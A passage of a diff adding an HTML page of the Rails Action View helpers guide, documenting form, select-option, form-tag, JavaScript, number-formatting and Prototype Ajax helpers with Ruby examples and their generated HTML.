+{&quot;action&quot;=&gt;&quot;create&quot;, &quot;controller&quot;=&gt;&quot;persons&quot;, &quot;person&quot;=&gt;{&quot;first_name&quot;=&gt;&quot;William&quot;, &quot;last_name&quot;=&gt;&quot;Smith&quot;}}
+</pre>
+</div>
+</notextile>
+
+<p>The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.</p>
+<h5 id="check_box">8.9.1 check_box</h5>
+<p>Returns a checkbox tag tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Let's say that @post.validated? is 1:
+check_box(&quot;post&quot;, &quot;validated&quot;)
+# =&gt; &lt;input type=&quot;checkbox&quot; id=&quot;post_validated&quot; name=&quot;post[validated]&quot; value=&quot;1&quot; /&gt;
+#    &lt;input name=&quot;post[validated]&quot; type=&quot;hidden&quot; value=&quot;0&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="fields_for">8.9.2 fields_for</h5>
+<p>Creates a scope around a specific model object like form_for, but doesnโ€˜t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= form_for @person, :url =&gt; { :action =&gt; &quot;update&quot; } do |person_form| %&gt;
+  First name: &lt;%= person_form.text_field :first_name %&gt;
+  Last name : &lt;%= person_form.text_field :last_name %&gt;
+
+  &lt;%= fields_for @person.permission do |permission_fields| %&gt;
+    Admin?  : &lt;%= permission_fields.check_box :admin %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="file_field">8.9.3 file_field</h5>
+<p>Returns an file upload input tag tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+file_field(:user, :avatar)
+# =&gt; &lt;input type=&quot;file&quot; id=&quot;user_avatar&quot; name=&quot;user[avatar]&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="form_for">8.9.4 form_for</h5>
+<p>Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= form_for @post do |f| %&gt;
+  &lt;%= f.label :title, 'Title' %&gt;:
+  &lt;%= f.text_field :title %&gt;&lt;br /&gt;
+  &lt;%= f.label :body, 'Body' %&gt;:
+  &lt;%= f.text_area :body %&gt;&lt;br /&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="hidden_field">8.9.5 hidden_field</h5>
+<p>Returns a hidden input tag tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+hidden_field(:user, :token)
+# =&gt; &lt;input type=&quot;hidden&quot; id=&quot;user_token&quot; name=&quot;user[token]&quot; value=&quot;#{@user.token}&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="label">8.9.6 label</h5>
+<p>Returns a label tag tailored for labelling an input field for a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+label(:post, :title)
+# =&gt; &lt;label for=&quot;post_title&quot;&gt;Title&lt;/label&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="password_field">8.9.7 password_field</h5>
+<p>Returns an input tag of the &#8220;password&#8221; type tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+password_field(:login, :pass)
+# =&gt; &lt;input type=&quot;text&quot; id=&quot;login_pass&quot; name=&quot;login[pass]&quot; value=&quot;#{@login.pass}&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="radio_button">8.9.8 radio_button</h5>
+<p>Returns a radio button tag for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Let's say that @post.category returns &quot;rails&quot;:
+radio_button(&quot;post&quot;, &quot;category&quot;, &quot;rails&quot;)
+radio_button(&quot;post&quot;, &quot;category&quot;, &quot;java&quot;)
+# =&gt; &lt;input type=&quot;radio&quot; id=&quot;post_category_rails&quot; name=&quot;post[category]&quot; value=&quot;rails&quot; checked=&quot;checked&quot; /&gt;
+#    &lt;input type=&quot;radio&quot; id=&quot;post_category_java&quot; name=&quot;post[category]&quot; value=&quot;java&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="text_area">8.9.9 text_area</h5>
+<p>Returns a textarea opening and closing tag set tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+text_area(:comment, :text, :size =&gt; &quot;20x30&quot;)
+# =&gt; &lt;textarea cols=&quot;20&quot; rows=&quot;30&quot; id=&quot;comment_text&quot; name=&quot;comment[text]&quot;&gt;
+#      #{@comment.text}
+#    &lt;/textarea&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="text_field">8.9.10 text_field</h5>
+<p>Returns an input tag of the &#8220;text&#8221; type tailored for accessing a specified attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+text_field(:post, :title)
+# =&gt; &lt;input type=&quot;text&quot; id=&quot;post_title&quot; name=&quot;post[title]&quot; value=&quot;#{@post.title}&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="formoptionshelper">8.10 FormOptionsHelper</h4>
+<p>Provides a number of methods for turning different kinds of containers into a set of option tags.</p>
+<h5 id="collection_select">8.10.1 collection_select</h5>
+<p>Returns <tt>select</tt> and <tt>option</tt> tags for the collection of existing return values of <tt>method</tt> for <tt>object</tt>&#8217;s class.</p>
+<p>Example object structure for use with this method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author &lt; ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    &quot;#{first_name.first}. #{last_name}&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt =&gt; true})
+</pre>
+</div>
+</notextile>
+
+<p>If @post.author_id is already 1, this would return:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;select name=&quot;post[author_id]&quot;&gt;
+  &lt;option value=&quot;&quot;&gt;Please select&lt;/option&gt;
+  &lt;option value=&quot;1&quot; selected=&quot;selected&quot;&gt;D. Heinemeier Hansson&lt;/option&gt;
+  &lt;option value=&quot;2&quot;&gt;D. Thomas&lt;/option&gt;
+  &lt;option value=&quot;3&quot;&gt;M. Clark&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="country_options_for_select">8.10.2 country_options_for_select</h5>
+<p>Returns a string of option tags for pretty much any country in the world.</p>
+<h5 id="country_select">8.10.3 country_select</h5>
+<p>Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.</p>
+<h5 id="option_groups_from_collection_for_select">8.10.4 option_groups_from_collection_for_select</h5>
+<p>Returns a string of <tt>option</tt> tags, like <tt>options_from_collection_for_select</tt>, but groups them by <tt>optgroup</tt> tags based on the object relationships of the arguments.</p>
+<p>Example object structure for use with this method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Continent &lt; ActiveRecord::Base
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country &lt; ActiveRecord::Base
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+</pre>
+</div>
+</notextile>
+
+<p>Sample usage:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span> check above textile output looks right</p>
+<p>Possible output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;optgroup label=&quot;Africa&quot;&gt;
+  &lt;option value=&quot;1&quot;&gt;Egypt&lt;/option&gt;
+  &lt;option value=&quot;4&quot;&gt;Rwanda&lt;/option&gt;
+  ...
+&lt;/optgroup&gt;
+&lt;optgroup label=&quot;Asia&quot;&gt;
+  &lt;option value=&quot;3&quot; selected=&quot;selected&quot;&gt;China&lt;/option&gt;
+  &lt;option value=&quot;12&quot;&gt;India&lt;/option&gt;
+  &lt;option value=&quot;5&quot;&gt;Japan&lt;/option&gt;
+  ...
+&lt;/optgroup&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Note: Only the <tt>optgroup</tt> and <tt>option</tt> tags are returned, so you still have to wrap the output in an appropriate <tt>select</tt> tag.</p>
+<h5 id="options_for_select">8.10.5 options_for_select</h5>
+<p>Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options_for_select([ &quot;VISA&quot;, &quot;MasterCard&quot; ])
+# =&gt; &lt;option&gt;VISA&lt;/option&gt; &lt;option&gt;MasterCard&lt;/option&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Note: Only the <tt>option</tt> tags are returned, you have to wrap this call in a regular <span class="caps">HTML</span> <tt>select</tt> tag.</p>
+<h5 id="options_from_collection_for_select">8.10.6 options_from_collection_for_select</h5>
+<p>Returns a string of option tags that have been compiled by iterating over the <tt>collection</tt> and assigning the the result of a call to the <tt>value_method</tt> as the option value and the <tt>text_method</tt> as the option text.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+</pre>
+</div>
+</notextile>
+
+<p>For example, imagine a loop iterating over each person in @project.people to generate an input tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options_from_collection_for_select(@project.people, &quot;id&quot;, &quot;name&quot;)
+# =&gt; &lt;option value=&quot;#{person.id}&quot;&gt;#{person.name}&lt;/option&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Note: Only the <tt>option</tt> tags are returned, you have to wrap this call in a regular <span class="caps">HTML</span> <tt>select</tt> tag.</p>
+<h5 id="select">8.10.7 select</h5>
+<p>Create a select tag and a series of contained option tags for the provided object and method.</p>
+<p>Example with @post.person_id =&gt; 1:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+select(&quot;post&quot;, &quot;person_id&quot;, Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank =&gt; true })
+</pre>
+</div>
+</notextile>
+
+<p>could become:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;select name=&quot;post[person_id]&quot;&gt;
+  &lt;option value=&quot;&quot;&gt;&lt;/option&gt;
+  &lt;option value=&quot;1&quot; selected=&quot;selected&quot;&gt;David&lt;/option&gt;
+  &lt;option value=&quot;2&quot;&gt;Sam&lt;/option&gt;
+  &lt;option value=&quot;3&quot;&gt;Tobias&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="time_zone_options_for_select">8.10.8 time_zone_options_for_select</h5>
+<p>Returns a string of option tags for pretty much any time zone in the world.</p>
+<h5 id="time_zone_select">8.10.9 time_zone_select</h5>
+<p>Return select and option tags for the given object and method, using <tt>time_zone_options_for_select</tt> to generate the list of option tags.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+time_zone_select( &quot;user&quot;, &quot;time_zone&quot;)
+</pre>
+</div>
+</notextile>
+
+<h4 id="formtaghelper">8.11 FormTagHelper</h4>
+<p>Provides a number of methods for creating form tags that doesn&#8217;t rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.</p>
+<h5 id="check_box_tag">8.11.1 check_box_tag</h5>
+<p>Creates a check box form input tag.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+check_box_tag 'accept'
+# =&gt; &lt;input id=&quot;accept&quot; name=&quot;accept&quot; type=&quot;checkbox&quot; value=&quot;1&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="field_set_tag">8.11.2 field_set_tag</h5>
+<p>Creates a field set for grouping <span class="caps">HTML</span> form elements.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= field_set_tag do %&gt;
+  &lt;p&gt;&lt;%= text_field_tag 'name' %&gt;&lt;/p&gt;
+&lt;% end %&gt;
+# =&gt; &lt;fieldset&gt;&lt;p&gt;&lt;input id=&quot;name&quot; name=&quot;name&quot; type=&quot;text&quot; /&gt;&lt;/p&gt;&lt;/fieldset&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="file_field_tag">8.11.3 file_field_tag</h5>
+<p>Creates a file upload field.</p>
+<p>If you are using file uploads then you will also need to set the multipart option for the form tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= form_tag { :action =&gt; &quot;post&quot; }, { :multipart =&gt; true } do %&gt;
+  &lt;label for=&quot;file&quot;&gt;File to Upload&lt;/label&gt; &lt;%= file_field_tag &quot;file&quot; %&gt;
+  &lt;%= submit_tag %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Example output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+file_field_tag 'attachment'
+# =&gt; &lt;input id=&quot;attachment&quot; name=&quot;attachment&quot; type=&quot;file&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="form_tag">8.11.4 form_tag</h5>
+<p>Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like <tt>ActionController::Base#url_for</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= form_tag '/posts' do %&gt;
+  &lt;div&gt;&lt;%= submit_tag 'Save' %&gt;&lt;/div&gt;
+&lt;% end %&gt;
+# =&gt; &lt;form action=&quot;/posts&quot; method=&quot;post&quot;&gt;&lt;div&gt;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Save&quot; /&gt;&lt;/div&gt;&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="hidden_field_tag">8.11.5 hidden_field_tag</h5>
+<p>Creates a hidden form input field used to transmit data that would be lost due to HTTP&#8217;s statelessness or data that should be hidden from the user.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# =&gt; &lt;input id=&quot;token&quot; name=&quot;token&quot; type=&quot;hidden&quot; value=&quot;VUBJKB23UIVI1UU1VOBVI@&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="image_submit_tag">8.11.6 image_submit_tag</h5>
+<p>Displays an image which when clicked will submit the form.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+image_submit_tag(&quot;login.png&quot;)
+# =&gt; &lt;input src=&quot;/images/login.png&quot; type=&quot;image&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="label_tag">8.11.7 label_tag</h5>
+<p>Creates a label field.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+label_tag 'name'
+# =&gt; &lt;label for=&quot;name&quot;&gt;Name&lt;/label&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="password_field_tag">8.11.8 password_field_tag</h5>
+<p>Creates a password field, a masked text field that will hide the users input behind a mask character.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+password_field_tag 'pass'
+# =&gt; &lt;input id=&quot;pass&quot; name=&quot;pass&quot; type=&quot;password&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="radio_button_tag">8.11.9 radio_button_tag</h5>
+<p>Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+radio_button_tag 'gender', 'male'
+# =&gt; &lt;input id=&quot;gender_male&quot; name=&quot;gender&quot; type=&quot;radio&quot; value=&quot;male&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_tag">8.11.10 select_tag</h5>
+<p>Creates a dropdown selection box.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+select_tag &quot;people&quot;, &quot;&lt;option&gt;David&lt;/option&gt;&quot;
+# =&gt; &lt;select id=&quot;people&quot; name=&quot;people&quot;&gt;&lt;option&gt;David&lt;/option&gt;&lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="submit_tag">8.11.11 submit_tag</h5>
+<p>Creates a submit button with the text provided as the caption.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+submit_tag &quot;Publish this post&quot;
+# =&gt; &lt;input name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Publish this post&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="text_area_tag">8.11.12 text_area_tag</h5>
+<p>Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+text_area_tag 'post'
+# =&gt; &lt;textarea id=&quot;post&quot; name=&quot;post&quot;&gt;&lt;/textarea&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="text_field_tag">8.11.13 text_field_tag</h5>
+<p>Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+text_field_tag 'name'
+# =&gt; &lt;input id=&quot;name&quot; name=&quot;name&quot; type=&quot;text&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="javascripthelper">8.12 JavaScriptHelper</h4>
+<p>Provides functionality for working with JavaScript in your views.</p>
+<p>Rails includes the Prototype JavaScript framework and the Scriptaculous JavaScript controls and visual effects library. If you wish to use these libraries and their helpers, make sure <tt>&lt;%= javascript_include_tag :defaults, :cache => true %&gt;</tt> is in the <span class="caps">HEAD</span> section of your page. This function will include the necessary JavaScript files Rails generated in the public/javascripts directory.</p>
+<h5 id="button_to_function">8.12.1 button_to_function</h5>
+<p>Returns a button that&#8217;ll trigger a JavaScript function using the onclick handler. Examples:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+button_to_function &quot;Greeting&quot;, &quot;alert('Hello world!')&quot;
+button_to_function &quot;Delete&quot;, &quot;if (confirm('Really?')) do_delete()&quot;
+button_to_function &quot;Details&quot; do |page|
+  page[:details].visual_effect :toggle_slide
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="define_javascript_functions">8.12.2 define_javascript_functions</h5>
+<p>Includes the Action Pack JavaScript libraries inside a single <tt>script</tt> tag.</p>
+<h5 id="escape_javascript">8.12.3 escape_javascript</h5>
+<p>Escape carrier returns and single and double quotes for JavaScript segments.</p>
+<h5 id="javascript_tag">8.12.4 javascript_tag</h5>
+<p>Returns a JavaScript tag wrapping the provided code.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_tag &quot;alert('All is good')&quot;
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;script type=&quot;text/javascript&quot;&gt;
+//&lt;![CDATA[
+alert('All is good')
+//]]&gt;
+&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="link_to_function">8.12.5 link_to_function</h5>
+<p>Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_function &quot;Greeting&quot;, &quot;alert('Hello world!')&quot;
+# =&gt; &lt;a onclick=&quot;alert('Hello world!'); return false;&quot; href=&quot;#&quot;&gt;Greeting&lt;/a&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="numberhelper">8.13 NumberHelper</h4>
+<p>Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.</p>
+<h5 id="number_to_currency">8.13.1 number_to_currency</h5>
+<p>Formats a number into a currency string (e.g., $13.65).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_to_currency(1234567890.50) # =&gt; $1,234,567,890.50
+</pre>
+</div>
+</notextile>
+
+<h5 id="number_to_human_size">8.13.2 number_to_human_size</h5>
+<p>Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_to_human_size(1234)          # =&gt; 1.2 KB
+number_to_human_size(1234567)       # =&gt; 1.2 MB
+</pre>
+</div>
+</notextile>
+
+<h5 id="number_to_percentage">8.13.3 number_to_percentage</h5>
+<p>Formats a number as a percentage string.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_to_percentage(100, :precision =&gt; 0)        # =&gt; 100%
+</pre>
+</div>
+</notextile>
+
+<h5 id="number_to_phone">8.13.4 number_to_phone</h5>
+<p>Formats a number into a US phone number.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_to_phone(1235551234) # =&gt; 123-555-1234
+</pre>
+</div>
+</notextile>
+
+<h5 id="number_with_delimiter">8.13.5 number_with_delimiter</h5>
+<p>Formats a number with grouped thousands using a delimiter.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_with_delimiter(12345678) # =&gt; 12,345,678
+</pre>
+</div>
+</notextile>
+
+<h5 id="number_with_precision">8.13.6 number_with_precision</h5>
+<p>Formats a number with the specified level of <tt>precision</tt>, which defaults to 3.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+number_with_precision(111.2345)     # =&gt; 111.235
+number_with_precision(111.2345, 2)  # =&gt; 111.23
+</pre>
+</div>
+</notextile>
+
+<h4 id="prototypehelper">8.14 PrototypeHelper</h4>
+<p>Prototype is a JavaScript library that provides <span class="caps">DOM</span> manipulation, Ajax functionality, and more traditional object-oriented facilities for JavaScript. This module provides a set of helpers to make it more convenient to call functions from Prototype using Rails, including functionality to call remote Rails methods (that is, making a background request to a Rails action) using Ajax.</p>
+<p>To be able to use these helpers, you must first include the Prototype JavaScript framework in the <span class="caps">HEAD</span> of the pages with Prototype functions.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag 'prototype'
+</pre>
+</div>
+</notextile>
+
+<h5 id="evaluate_remote_response">8.14.1 evaluate_remote_response</h5>
+<p>Returns <tt>eval(request.responseText)</tt> which is the JavaScript function that form_remote_tag can call in <tt>:complete</tt> to evaluate a multiple update return document using <tt>update_element_function</tt> calls.</p>
+<h5 id="form_remote_tag">8.14.2 form_remote_tag</h5>
+<p>Returns a form tag that will submit using XMLHttpRequest in the background instead of the regular reloading <span class="caps">POST</span> arrangement. Even though itโ€˜s using JavaScript to serialize the form elements, the form submission will work just like a regular submission as viewed by the receiving side.</p>
+<p>For example, this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_remote_tag :html =&gt; { :action =&gt; url_for(:controller =&gt; &quot;some&quot;, :action =&gt; &quot;place&quot;) }
+</pre>
+</div>
+</notextile>
+
+<p>would generate the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/some/place&quot; method=&quot;post&quot; onsubmit=&quot;new Ajax.Request('',
+  {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="link_to_remote">8.14.3 link_to_remote</h5>
+<p>Returns a link to a remote action that&#8217;s called in the background using XMLHttpRequest. You can generate a link that uses <span class="caps">AJAX</span> in the general case, while degrading gracefully to plain link behavior in the absence of JavaScript. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Delete this post&quot;,
+  { :update =&gt; &quot;posts&quot;, :url =&gt; { :action =&gt; &quot;destroy&quot;, :id =&gt; post.id } },
+  :href =&gt; url_for(:action =&gt; &quot;destroy&quot;, :id =&gt; post.id)
+</pre>
+</div>
+</notextile>
+
+<h5 id="observe_field">8.14.4 observe_field</h5>
+<p>Observes the field specified and calls a callback when its contents have changed.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+observe_field(&quot;my_field&quot;, :function =&gt; &quot;alert('Field changed')&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="observe_form">8.14.5 observe_form</h5>
+<p>Observes the form specified and calls a callback when its contents have changed. The options for observe_form are the same as the options for observe_field.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+observe_field(&quot;my_form&quot;, :function =&gt; &quot;alert('Form changed')&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="periodically_call_remote">8.14.6 periodically_call_remote</h5>
+<p>Periodically calls the specified url as often as specified. Usually used to update a specified div with the results of the remote call. The following example will call update every 20 seconds and update the news_block div:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+periodically_call_remote(:url =&gt; 'update', :frequency =&gt; '20', :update =&gt; 'news_block')
+# =&gt; PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20)
+</pre>
+</div>
+</notextile>
+
+<h5 id="remote_form_for">8.14.7 remote_form_for</h5>
+<p>Creates a form that will submit using XMLHttpRequest in the background instead of the regular reloading <span class="caps">POST</span> arrangement and a scope around a specific resource that is used as a base for questioning about values for the fields.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= remote_form_for(@post) do |f| %&gt;
+  ...
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="remote_function">8.14.8 remote_function</h5>
+<p>Returns the JavaScript needed for a remote function. Takes the same arguments as <tt>link_to_remote</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;select id=&quot;options&quot; onchange=&quot;&lt;%= remote_function(:update =&gt; &quot;options&quot;, :url =&gt; { :action =&gt; :update_options }) %&gt;&quot;&gt;
+  &lt;option value=&quot;0&quot;&gt;Hello&lt;/option&gt;
+  &lt;option value=&quot;1&quot;&gt;World&lt;/option&gt;
+&lt;/select&gt;
+# =&gt; &lt;select id=&quot;options&quot; onchange=&quot;new Ajax.Updater('options', '/testing/update_options', {asynchronous:true, evalScripts:true})&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="submit_to_remote">8.14.9 submit_to_remote</h5>
+<p>Returns a button input tag that will submit form using XMLHttpRequest in the background instead of a regular <span class="caps">POST</span> request that reloads the page.</p>
+<p>For example, the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+submit_to_remote 'create_btn', 'Create', :url =&gt; { :action =&gt; 'create' }
+</pre>
+</div>
+</notextile>
+
+<p>would generate:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input name=&quot;create_btn&quot; onclick=&quot;new Ajax.Request('/testing/create',
+  {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
+  return false;&quot; type=&quot;button&quot; value=&quot;Create&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="update_page">8.14.10 update_page</h5>
+<p>Yields a JavaScriptGenerator and returns the generated JavaScript code. Use this to update multiple elements on a page in an Ajax response.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+update_page do |page|
+  page.hide 'spinner'
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="update_page_tag">8.14.11 update_page_tag</h5>
+<p>Works like update_page but wraps the generated JavaScript in a <tt>script</tt> tag. Use this to include generated JavaScript in an ERb template.</p>
+<h4 id="prototypehelper-javascriptgenerator-generatormethods">8.15 PrototypeHelper::JavaScriptGenerator::GeneratorMethods</h4>
+<p>JavaScriptGenerator generates blocks of JavaScript code that allow you to change the content and presentation of multiple <span class="caps">DOM</span> elements. Use this in your Ajax response bodies, either in a <tt>script</tt> tag or as plain JavaScript sent with a Content-type of &#8220;text/javascript&#8221;.</p>
+<h5 id="push">8.15.1 &lt;&lt;</h5>
+<p>Writes raw JavaScript to the page.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page &lt;&lt; &quot;alert('JavaScript with Prototype.');&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="at">8.15.2 []</h5>
+<p>Returns a element reference by finding it through it&#8217;s id in the <span class="caps">DOM</span>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
